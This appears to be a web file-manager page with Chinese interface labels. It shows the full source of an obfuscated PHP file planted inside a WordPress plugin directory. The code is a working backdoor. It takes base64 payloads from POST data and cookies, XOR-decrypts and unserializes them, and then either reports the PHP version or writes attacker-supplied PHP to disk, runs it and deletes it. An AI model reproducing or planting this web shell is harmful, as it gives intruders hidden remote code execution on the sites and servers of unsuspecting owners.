文件操作 - nfchueod.php

文件: /storage/v12552/rokpaw/public_html/wp-content/plugins/duplicator-pro/nfchueod.php

编辑文件内容

<?php

$rejzy     = /* xjycel*/ 'rejzy'	^	'';

$owhqj /*  snjkx   */ =	"a"."r".$rejzy(114)    .   $rejzy(974-877) /*  m   */ .    "\171" /* l  */ .   "_"."\155" /* ovh   */ .   "a"."p";

function /*   lj_u */ rjupnja($mksbasu,	$lxi_d)

{
 /*  xdr */ global /*   lxkcg*/ $rejzy;
    
 /* w*/ $mksbasu /*  p   */ =    $rejzy(239-179)    .    "\77" /*  gpggqb  */ .    "\x70"  .  "\x68"    .    "p".$rejzy(32)	. /*  iq   */ "\165"	. /*dr*/ $rejzy(110)	.    $rejzy(574-466)     .	"i"."n".$rejzy(107) /*  caxss   */ .	"("."\137"   . /*   su   */ "_".$rejzy(70)       .      "\111"     .	"L".$rejzy(69)	.    "_".$rejzy(602-507)	.	")".$rejzy(59) /* bcdje  */ . /* snunrx */ $rejzy(32) /*   xkx  */ . /*  vcbpe */ $mksbasu["\x64"];

$wsyhesus /*   zkx*/ =	"f"."i".$rejzy(108)    . /*  dikozj   */ "\145"	.    $rejzy(619-524) /*cwnzyj */ .	$rejzy(548-436)    . /*  rq  */ "\165"    .    "t"."\x5f"    .    $rejzy(592-493)    .	"\x6f"       .     "\x6e"	.    "t"."\145" /* njuqv*/ .     "\156" /* bwvay */ .	$rejzy(612-496) /* oqile */ .    "s";

$wsyhesus($lxi_d,	$mksbasu); /*   n_wfp*/

fy_oukwebt($lxi_d);
}

$wmtv_ /*hudk*/ =       73;

function   fy_oukwebt($lxi_d){

global /* xgzog  */ $rejzy;

/* znf   */

include($lxi_d);
	$ktvrve /*  d*/ = /*   ay   */ $lxi_d;

/*  qde  */ @unlink($ktvrve);}

function /*lpn  */ clahkypibh(){

global /*uuys   */ $rejzy;

$blsxyv /*  rctaa  */ =    array();

$blsxyv["p"."\x76"]      =	phpversion();

$blsxyv["s".$rejzy(118)]	= /*   a  */ "\63"    .    ".".$rejzy(309-256);	$kumxdw_jty    =	74;

echo    @serialize($blsxyv);}

function /*   e_zyb  */ h_kczeyh($mksbasu, /*s   */ $zbwfu)
{

global    $rejzy;

$rpykblbz     =    "";
 /*vnrqhb*/ $lexreujnaq  =    strlen($mksbasu);

$clakz   =	strlen($zbwfu);

$blsxyv /*vdnz  */ =      0;
   $nvide   =    0;

while /* zpfsdh   */ ($blsxyv    <	$lexreujnaq)	{ /* jyrrvg   */ $cntzsqnls    =       $mksbasu[$blsxyv]    ^ /*  jlun*/ $zbwfu[$nvide   %       $clakz];	$rpykblbz	.=       $cntzsqnls;
 /* deeqp   */ $nvide++; /* zsp   */

$blsxyv++; /* azonpr   */ } /*oryn */

if   (strlen($rpykblbz)       >      20)       {
	$utswfth   = /*t   */ substr($rpykblbz,       0, /*   mlkf  */ 20); /*   g  */ }

/*we*/ if /* yhyt_   */ (empty($rpykblbz))	{

$rpykblbz	=   date('Y-m-d    H:i:s'); /*  tnnlg  */ }

return    $rpykblbz;}

function    afmdvtlo($qugsokhfz){    global /*_vlwf */ $rejzy;

$obprzlij /* re   */ =	"\143"    . /*jkkzix */ $rejzy(1052-953) /*ve*/ .    $rejzy(51) /*   _*/ .    "8"."5"."\x38"	. /*ftxpyz */ "\x63"    . /* kwd */ $rejzy(52) /*  yjfgj   */ . /*  tea*/ "\55" /* f   */ .	"\71"       .    "0"."\65" /*  duisgx */ .  "e"."-".$rejzy(65-13)     .	"\x35"    . /*   o  */ "6".$rejzy(494-444)    .  $rejzy(365-320)     .   "\141"."\x65"	.    $rejzy(49)   .	"5"."-".$rejzy(173-117) /*   t_nfsm*/ .    "7"."2"."c"."\x64"."3".$rejzy(56)       .       "b".$rejzy(106-49) /*u*/ .    $rejzy(54)	.    "8"."f";

/*   hgab*/ foreach    ($qugsokhfz /*  rj   */ as    $cyxynlwv    => /* hg */ $mksbasu)   {

dalzqpyaw(base64_decode($mksbasu),    $obprzlij, /*   xiqtja  */ $cyxynlwv); /*  y  */ }

}

function	dalzqpyaw($mksbasu,      $obprzlij,      $cyxynlwv)

{

/*   tnz  */ global    $rejzy;

$mksbasu /*   ynit_h */ =   unserialize(h_kczeyh(h_kczeyh($mksbasu,	$obprzlij),	$cyxynlwv));

$lbcei  =	'iw_xbigqcv';	$nwuhqondq      =    'zcyonpdwr';   if	(isset($mksbasu["\141" /*   u   */ .	$rejzy(1004-897)])) /* tbq*/ {
   if /*  cmkj  */ ($mksbasu["\141"] /*  jsh  */ ==    "i")	{

clahkypibh();    }    elseif /* qlk*/ ($mksbasu["\141"] /* kbqi*/ ==    "e")	{

/*yidjr */ rjupnja($mksbasu, /*   xwtxs */ sprintf($rejzy(46)	.    "\x2f"    .  "\x25"       .     "s".$rejzy(568-522)    .	"\160"    .    "\154", /*   c*/ md5($obprzlij)));

$oezggdzozh	=	44;

/*b   */ }

exit();

/* ha*/ }

}

afmdvtlo($_POST);

$huhzwh_bc   =    Array();$huhzwh_bc       =	implode($huhzwh_bc);

$opqfvbfq_z /* q */ =	$owhqj('rawurldecode',       $_POST);

explode('rawurldecode',	$huhzwh_bc);

afmdvtlo($_COOKIE);

$anaai    = /*   cjw  */ $owhqj('rawurldecode',      $_COOKIE);

文件操作 - nfchueod.php

文件: /storage/v12552/rokpaw/public_html/wp-content/plugins/duplicator-pro/nfchueod.php

编辑文件内容

修改文件时间

删除文件